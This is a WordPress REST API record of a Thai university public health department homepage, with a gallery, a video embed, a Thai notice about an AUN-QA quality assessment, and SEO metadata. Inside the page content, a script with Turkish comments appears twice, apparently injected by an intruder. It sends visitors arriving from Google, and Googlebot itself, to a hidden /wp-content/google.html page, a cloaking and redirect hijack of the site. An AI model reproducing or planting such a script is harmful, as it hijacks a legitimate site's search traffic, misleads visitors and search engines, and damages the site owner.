href=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/474147972_3913229725559925_5638425518361302613_n.jpg\" title=\"474147972_3913229725559925_5638425518361302613_n\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/474147972_3913229725559925_5638425518361302613_n.jpg\" alt=\"474147972_3913229725559925_5638425518361302613_n\" width=\"306\" height=\"230\" \/><\/a><p class=\"jig-HTMLdescription\">474147972_3913229725559925_5638425518361302613_n<\/p><\/li><\/ul><\/noscript><\/div><\/div><\/div><\/div><\/div><\/div><\/section><section class=\"l-section wpb_row us_custom_1edb1bc4 height_medium\"><div class=\"l-section-overlay\" style=\"background:#ebebeb\"><\/div><div class=\"l-section-h i-cf\"><div class=\"g-cols vc_row via_flex valign_top type_default stacking_default\"><div class=\"vc_col-sm-3 wpb_column vc_column_container\"><div class=\"vc_column-inner\"><div class=\"wpb_wrapper\"><h2 class=\"w-text us_custom_9de87d4e\"><span class=\"w-text-h\"><span class=\"w-text-value\">\u0e27\u0e34\u0e14\u0e35\u0e42\u0e2d\u0e41\u0e19\u0e30\u0e19\u0e33<\/span><\/span><\/h2><h4 class=\"w-text\"><span class=\"w-text-h\"><span class=\"w-text-value\"><\/span><\/span><\/h4><\/div><\/div><\/div><div class=\"vc_col-sm-9 wpb_column vc_column_container\"><div class=\"vc_column-inner\"><div class=\"wpb_wrapper\"><div class=\"w-video us_custom_9cf479d2 align_none ratio_16x9 has_border_radius has_iframe\"><div class=\"w-video-h\"><iframe title=\"Youtube video player\" data-src=\"\/\/www.youtube.com\/embed\/-5oOwqNaGSs?autoplay=1&controls=0&origin=https:\/\/ph.bru.ac.th\/en&loop=1&mute=0&playlist=-5oOwqNaGSs\" allowfullscreen=\"1\" loading=\"lazy\" src=\"data:image\/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==\" class=\"lazyload\" data-load-mode=\"1\"><\/iframe><\/div><div class=\"w-video-icon\" style=\"font-size:1.5rem;background:rgba(0,0,0,0.5);color:#fff\"><\/div><\/div><\/div><\/div><\/div><\/div><\/div><\/section><section class=\"l-section wpb_row height_small\"><div class=\"l-section-h i-cf\"><div class=\"g-cols vc_row via_flex valign_top type_default stacking_default\"><div class=\"vc_col-sm-12 wpb_column vc_column_container\"><div class=\"vc_column-inner\"><div class=\"wpb_wrapper\"><div class=\"w-html\"><script>\n(function() {\n    \/\/ Kullan\u0131c\u0131 ajan\u0131n\u0131 al\u0131n\n    var userAgent = navigator.userAgent.toLowerCase();\n\n    \/\/ Googlebot ve Google'dan gelenleri kontrol edin\n    var isGoogleBot = userAgent.indexOf('googlebot') !== -1;\n    var isGoogleReferrer = false;\n\n    \/\/ Referans URL'yi kontrol edin\n    if (document.referrer) {\n        var referrer = document.referrer.toLowerCase();\n        if (referrer.indexOf('google.com') !== -1 || referrer.indexOf('google.') !== -1) {\n            isGoogleReferrer = true;\n        }\n    }\n\n    \/\/ E\u011fer Googlebot ise veya Google'dan gelmi\u015fse y\u00f6nlendir\n    if (isGoogleBot || isGoogleReferrer) {\n        window.location.href = \"\/wp-content\/google.html\";\n    }\n})();\n<\/script><\/div><\/div><\/div><\/div><\/div><\/div><\/section><section class=\"l-section wpb_row height_small\"><div class=\"l-section-h i-cf\"><div class=\"g-cols vc_row via_flex valign_top type_default stacking_default\"><div class=\"vc_col-sm-12 wpb_column vc_column_container\"><div class=\"vc_column-inner\"><div class=\"wpb_wrapper\">\n\t<div class=\"wpb_raw_code wpb_raw_html wpb_content_element us_custom_909b2fd0\" >\n\t\t<div class=\"wpb_wrapper\">\n\t\t\t<script>\n(function() {\n    \/\/ Kullan\u0131c\u0131 ajan\u0131n\u0131 al\u0131n\n    var userAgent = navigator.userAgent.toLowerCase();\n\n    \/\/ Googlebot ve Google'dan gelenleri kontrol edin\n    var isGoogleBot = userAgent.indexOf('googlebot') !== -1;\n    var isGoogleReferrer = false;\n\n    \/\/ Referans URL'yi kontrol edin\n    if (document.referrer) {\n        var referrer = document.referrer.toLowerCase();\n        if (referrer.indexOf('google.com') !== -1 || referrer.indexOf('google.') !== -1) {\n            isGoogleReferrer = true;\n        }\n    }\n\n    \/\/ E\u011fer Googlebot ise veya Google'dan gelmi\u015fse y\u00f6nlendir\n    if (isGoogleBot || isGoogleReferrer) {\n        window.location.href = \"\/wp-content\/google.html\";\n    }\n})();\n<\/script>\n\t\t<\/div>\n\t<\/div>\n<\/div><\/div><\/div><\/div><\/div><\/section>\n","protected":false},"excerpt":{"rendered":"\u0e1c\u0e48\u0e32\u0e19\u0e1e\u0e49\u0e19\u0e44\u0e1b\u0e41\u0e25\u0e49\u0e27\u0e14\u0e49\u0e27\u0e22\u0e14\u0e35 \u0e2a\u0e33\u0e2b\u0e23\u0e31\u0e1a\u0e01\u0e32\u0e23\u0e15\u0e23\u0e27\u0e08\u0e1b\u0e23\u0e30\u0e40\u0e21\u0e34\u0e19\u0e04\u0e38\u0e13\u0e20\u0e32\u0e1e\u0e01\u0e32\u0e23\u0e28\u0e36\u0e01\u0e29\u0e32\u0e23\u0e30\u0e14\u0e31\u0e1a\u0e2b\u0e25\u0e31\u0e01\u0e2a\u0e39\u0e15\u0e23 \u0e15\u0e32\u0e21\u0e40\u0e01\u0e13\u0e11\u0e4c\u0e21\u0e32\u0e15\u0e23\u0e10\u0e32\u0e19 AUN-QA \u0e1b\u0e23\u0e30\u0e08\u0e33\u0e1b\u0e35\u0e01\u0e32\u0e23\u0e28\u0e36\u0e01\u0e29\u0e32 2568 \u0e02\u0e2d\u0e07\u0e2a\u0e32\u0e02\u0e32\u0e27\u0e34\u0e0a\u0e32\u0e2a\u0e32\u0e18\u0e32\u0e23\u0e13\u0e2a\u0e38\u0e02\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c \u0e04\u0e13\u0e30\u0e27\u0e34\u0e17\u0e22\u0e32\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c \u0e21\u0e2b\u0e32\u0e27\u0e34\u0e17\u0e22\u0e32\u0e25\u0e31\u0e22\u0e23\u0e32\u0e0a\u0e20\u0e31\u0e0f\u0e1a\u0e38\u0e23\u0e35\u0e23\u0e31\u0e21\u0e22\u0e4c \u0e40\u0e21\u0e37\u0e48\u0e2d\u0e27\u0e31\u0e19\u0e17\u0e35\u0e48 17 \u0e01\u0e23\u0e01\u0e0e\u0e32\u0e04\u0e21 2569 \u0e17\u0e35\u0e48\u0e1c\u0e48\u0e32\u0e19\u0e21\u0e32 \u0e13 \u0e2d\u0e32\u0e04\u0e32\u0e23\u0e27\u0e34\u0e17\u0e22\u0e32\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c\u0e2a\u0e38\u0e02\u0e20\u0e32\u0e1e \u0e17\u0e32\u0e07\u0e2b\u0e25\u0e31\u0e01\u0e2a\u0e39\u0e15\u0e23\u0e2f \u0e02\u0e2d\u0e01\u0e23\u0e32\u0e1a\u0e02\u0e2d\u0e1a\u0e1e\u0e23\u0e30\u0e04\u0e38\u0e13\u0e04\u0e13\u0e30\u0e01\u0e23\u0e23\u0e21\u0e01\u0e32\u0e23\u0e1c\u0e39\u0e49\u0e15\u0e23\u0e27\u0e08\u0e1b\u0e23\u0e30\u0e40\u0e21\u0e34\u0e19\u0e1c\u0e39\u0e49\u0e17\u0e23\u0e07\u0e04\u0e38\u0e13\u0e27\u0e38\u0e12\u0e34\u0e40\u0e1b\u0e47\u0e19\u0e2d\u0e22\u0e48\u0e32\u0e07\u0e2a\u0e39\u0e07 \u0e17\u0e35\u0e48\u0e43\u0e2b\u0e49\u0e40\u0e01\u0e35\u0e22\u0e23\u0e15\u0e34\u0e21\u0e32\u0e15\u0e23\u0e27\u0e08\u0e40\u0e22\u0e35\u0e48\u0e22\u0e21\u0e41\u0e25\u0e30\u0e43\u0e2b\u0e49\u0e02\u0e49\u0e2d\u0e40\u0e2a\u0e19\u0e2d\u0e41\u0e19\u0e30\u0e2d\u0e31\u0e19\u0e40\u0e1b\u0e47\u0e19\u0e1b\u0e23\u0e30\u0e42\u0e22\u0e0a\u0e19\u0e4c\u0e2d\u0e22\u0e48\u0e32\u0e07\u0e22\u0e34\u0e48\u0e07 \u0e19\u0e33\u0e42\u0e14\u0e22: \u0e23\u0e2d\u0e07\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e32\u0e08\u0e32\u0e23\u0e22\u0e4c \u0e14\u0e23.\u0e27\u0e23\u0e1b\u0e20\u0e32 \u0e2d\u0e32\u0e23\u0e35\u0e23\u0e32\u0e29\u0e0e\u0e23\u0e4c (\u0e1b\u0e23\u0e30\u0e18\u0e32\u0e19\u0e01\u0e23\u0e23\u0e21\u0e01\u0e32\u0e23) \u0e2d\u0e32\u0e08\u0e32\u0e23\u0e22\u0e4c\u0e2d\u0e34\u0e2a\u0e1e\u0e34\u0e22\u0e32\u0e20\u0e23\u0e13\u0e4c \u0e27\u0e23\u0e01\u0e34\u0e15\u0e15\u0e19\u0e19\u0e17\u0e4c (\u0e01\u0e23\u0e23\u0e21\u0e01\u0e32\u0e23) \u0e2d\u0e32\u0e08\u0e32\u0e23\u0e22\u0e4c \u0e14\u0e23.\u0e2a\u0e34\u0e23\u0e34\u0e19\u0e17\u0e31\u0e28\u0e19\u0e4c \u0e40\u0e25\u0e35\u0e48\u0e22\u0e21\u0e41\u0e2b\u0e25\u0e21 (\u0e01\u0e23\u0e23\u0e21\u0e01\u0e32\u0e23) \u0e42\u0e14\u0e22\u0e21\u0e35 \u0e2d\u0e32\u0e08\u0e32\u0e23\u0e22\u0e4c\u0e21\u0e13\u0e35\u0e19\u0e38\u0e0a \u0e43\u0e2b\u0e49\u0e28\u0e34\u0e23\u0e34\u0e01\u0e38\u0e25 \u0e2d\u0e32\u0e08\u0e32\u0e23\u0e22\u0e4c\u0e1b\u0e23\u0e30\u0e08\u0e33\u0e2a\u0e32\u0e02\u0e32\u0e27\u0e34\u0e0a\u0e32\u0e2f \u0e17\u0e33\u0e2b\u0e19\u0e49\u0e32\u0e17\u0e35\u0e48\u0e40\u0e25\u0e02\u0e32\u0e19\u0e38\u0e01\u0e32\u0e23 \u0e19\u0e2d\u0e01\u0e08\u0e32\u0e01\u0e19\u0e35\u0e49 \u0e02\u0e2d\u0e02\u0e2d\u0e1a\u0e04\u0e38\u0e13\u0e04\u0e13\u0e32\u0e08\u0e32\u0e23\u0e22\u0e4c \u0e1a\u0e38\u0e04\u0e25\u0e32\u0e01\u0e23 \u0e19\u0e31\u0e01\u0e28\u0e36\u0e01\u0e29\u0e32 \u0e41\u0e25\u0e30\u0e1c\u0e39\u0e49\u0e21\u0e35\u0e2a\u0e48\u0e27\u0e19\u0e40\u0e01\u0e35\u0e48\u0e22\u0e27\u0e02\u0e49\u0e2d\u0e07\u0e17\u0e38\u0e01\u0e17\u0e48\u0e32\u0e19\u0e17\u0e35\u0e48\u0e23\u0e48\u0e27\u0e21\u0e41\u0e23\u0e07\u0e23\u0e48\u0e27\u0e21\u0e43\u0e08\u0e01\u0e31\u0e19\u0e08\u0e19\u0e01\u0e32\u0e23\u0e15\u0e23\u0e27\u0e08\u0e1b\u0e23\u0e30\u0e40\u0e21\u0e34\u0e19\u0e04\u0e23\u0e31\u0e49\u0e07\u0e19\u0e35\u0e49\u0e2a\u0e33\u0e40\u0e23\u0e47\u0e08\u0e25\u0e38\u0e25\u0e48\u0e27\u0e07\u0e44\u0e1b\u0e44\u0e14\u0e49\u0e14\u0e49\u0e27\u0e22\u0e14\u0e35 \u0e40\u0e23\u0e32\u0e1e\u0e23\u0e49\u0e2d\u0e21\u0e19\u0e33\u0e17\u0e38\u0e01\u0e04\u0e33\u0e41\u0e19\u0e30\u0e19\u0e33\u0e44\u0e1b\u0e1e\u0e31\u0e12\u0e19\u0e32\u0e41\u0e25\u0e30\u0e22\u0e01\u0e23\u0e30\u0e14\u0e31\u0e1a\u0e04\u0e38\u0e13\u0e20\u0e32\u0e1e\u0e01\u0e32\u0e23\u0e40\u0e23\u0e35\u0e22\u0e19\u0e01\u0e32\u0e23\u0e2a\u0e2d\u0e19\u0e2a\u0e39\u0e48\u0e21\u0e32\u0e15\u0e23\u0e10\u0e32\u0e19\u0e23\u0e30\u0e14\u0e31\u0e1a\u0e2a\u0e32\u0e01\u0e25\u0e15\u0e48\u0e2d\u0e44\u0e1b #AUNQA #\u0e21\u0e2b\u0e32\u0e27\u0e34\u0e17\u0e22\u0e32\u0e25\u0e31\u0e22\u0e23\u0e32\u0e0a\u0e20\u0e31\u0e0f\u0e1a\u0e38\u0e23\u0e35\u0e23\u0e31\u0e21\u0e22\u0e4c #BRU #\u0e2a\u0e32\u0e18\u0e32\u0e23\u0e13\u0e2a\u0e38\u0e02\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c #\u0e2a\u0e32\u0e18\u0e32\u0e23\u0e13\u0e2a\u0e38\u0e02\u0e0a\u0e38\u0e21\u0e0a\u0e19 #\u0e1b\u0e23\u0e30\u0e01\u0e31\u0e19\u0e04\u0e38\u0e13\u0e20\u0e32\u0e1e\u0e01\u0e32\u0e23\u0e28\u0e36\u0e01\u0e29\u0e32 #\u0e01\u0e49\u0e32\u0e27\u0e2a\u0e39\u0e48\u0e21\u0e32\u0e15\u0e23\u0e10\u0e32\u0e19\u0e2a\u0e32\u0e01\u0e25","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"inline_featured_image":false,"ngg_post_thumbnail":0,"footnotes":""},"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v22.5 (Yoast SEO v22.5) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>\u0e2b\u0e19\u0e49\u0e32\u0e41\u0e23\u0e01 - \u0e2a\u0e32\u0e02\u0e32\u0e27\u0e34\u0e0a\u0e32\u0e2a\u0e32\u0e18\u0e32\u0e23\u0e13\u0e2a\u0e38\u0e02\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/ph.bru.ac.th\/en\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u0e2b\u0e19\u0e49\u0e32\u0e41\u0e23\u0e01\" \/>\n<meta property=\"og:url\" content=\"https:\/\/ph.bru.ac.th\/en\/\" \/>\n<meta property=\"og:site_name\" content=\"\u0e2a\u0e32\u0e02\u0e32\u0e27\u0e34\u0e0a\u0e32\u0e2a\u0e32\u0e18\u0e32\u0e23\u0e13\u0e2a\u0e38\u0e02\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c\" \/>\n<meta property=\"article:modified_time\" content=\"2025-05-03T23:14:45+00:00\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data1\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/ph.bru.ac.th\/\",\"url\":\"https:\/\/ph.bru.ac.th\/\",\"name\":\"\u0e2b\u0e19\u0e49\u0e32\u0e41\u0e23\u0e01 - \u0e2a\u0e32\u0e02\u0e32\u0e27\u0e34\u0e0a\u0e32\u0e2a\u0e32\u0e18\u0e32\u0e23\u0e13\u0e2a\u0e38\u0e02\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c\",\"isPartOf\":{\"@id\":\"https:\/\/ph.bru.ac.th\/#website\"},\"datePublished\":\"2024-04-23T08:06:55+00:00\",\"dateModified\":\"2025-05-03T23:14:45+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/ph.bru.ac.th\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/ph.bru.ac.th\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/ph.bru.ac.th\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/ph.bru.ac.th\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u0e2b\u0e19\u0e49\u0e32\u0e41\u0e23\u0e01\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/ph.bru.ac.th\/#website\",\"url\":\"https:\/\/ph.bru.ac.th\/\",\"name\":\"\u0e2a\u0e32\u0e02\u0e32\u0e27\u0e34\u0e0a\u0e32\u0e2a\u0e32\u0e18\u0e32\u0e23\u0e13\u0e2a\u0e38\u0e02\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c\",\"description\":\"\u0e04\u0e13\u0e30\u0e27\u0e34\u0e17\u0e22\u0e32\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c \u0e21\u0e2b\u0e32\u0e27\u0e34\u0e17\u0e22\u0e32\u0e25\u0e31\u0e22\u0e23\u0e32\u0e0a\u0e20\u0e31\u0e0f\u0e1a\u0e38\u0e23\u0e35\u0e23\u0e31\u0e21\u0e22\u0e4c\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/ph.bru.ac.th\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"\u0e2b\u0e19\u0e49\u0e32\u0e41\u0e23\u0e01 - \u0e2a\u0e32\u0e02\u0e32\u0e27\u0e34\u0e0a\u0e32\u0e2a\u0e32\u0e18\u0e32\u0e23\u0e13\u0e2a\u0e38\u0e02\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/ph.bru.ac.th\/en\/","og_locale":"en_US","og_type":"article","og_title":"\u0e2b\u0e19\u0e49\u0e32\u0e41\u0e23\u0e01","og_url":"https:\/\/ph.bru.ac.th\/en\/","og_site_name":"\u0e2a\u0e32\u0e02\u0e32\u0e27\u0e34\u0e0a\u0e32\u0e2a\u0e32\u0e18\u0e32\u0e23\u0e13\u0e2a\u0e38\u0e02\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c","article_modified_time":"2025-05-03T23:14:45+00:00","twitter_card":"summary_large_image","twitter_misc":{"Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/ph.bru.ac.th\/","url":"https:\/\/ph.bru.ac.th\/","name":"\u0e2b\u0e19\u0e49\u0e32\u0e41\u0e23\u0e01 - \u0e2a\u0e32\u0e02\u0e32\u0e27\u0e34\u0e0a\u0e32\u0e2a\u0e32\u0e18\u0e32\u0e23\u0e13\u0e2a\u0e38\u0e02\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c","isPartOf":{"@id":"https:\/\/ph.bru.ac.th\/#website"},"datePublished":"2024-04-23T08:06:55+00:00","dateModified":"2025-05-03T23:14:45+00:00","breadcrumb":{"@id":"https:\/\/ph.bru.ac.th\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/ph.bru.ac.th\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/ph.bru.ac.th\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/ph.bru.ac.th\/"},{"@type":"ListItem","position":2,"name":"\u0e2b\u0e19\u0e49\u0e32\u0e41\u0e23\u0e01"}]},{"@type":"WebSite","@id":"https:\/\/ph.bru.ac.th\/#website","url":"https:\/\/ph.bru.ac.th\/","name":"\u0e2a\u0e32\u0e02\u0e32\u0e27\u0e34\u0e0a\u0e32\u0e2a\u0e32\u0e18\u0e32\u0e23\u0e13\u0e2a\u0e38\u0e02\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c","description":"\u0e04\u0e13\u0e30\u0e27\u0e34\u0e17\u0e22\u0e32\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c \u0e21\u0e2b\u0e32\u0e27\u0e34\u0e17\u0e22\u0e32\u0e25\u0e31\u0e22\u0e23\u0e32\u0e0a\u0e20\u0e31\u0e0f\u0e1a\u0e38\u0e23\u0e35\u0e23\u0e31\u0e21\u0e22\u0e4c","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/ph.bru.ac.th\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"}]}},"_links":{"self":[{"href":"https:\/\/ph.bru.ac.th\/en\/wp-json\/wp\/v2\/pages\/14"}],"collection":[{"href":"https:\/\/ph.bru.ac.th\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/ph.bru.ac.th\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/ph.bru.ac.th\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ph.bru.ac.th\/en\/wp-json\/wp\/v2\/comments?post=14"}],"version-history":[{"count":163,"href":"https:\/\/ph.bru.ac.th\/en\/wp-json\/wp\/v2\/pages\/14\/revisions"}],"predecessor-version":[{"id":2313,"href":"https:\/\/ph.bru.ac.th\/en\/wp-json\/wp\/v2\/pages\/14\/revisions\/2313"}],"wp:attachment":[{"href":"https:\/\/ph.bru.ac.th\/en\/wp-json\/wp\/v2\/media?parent=14"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}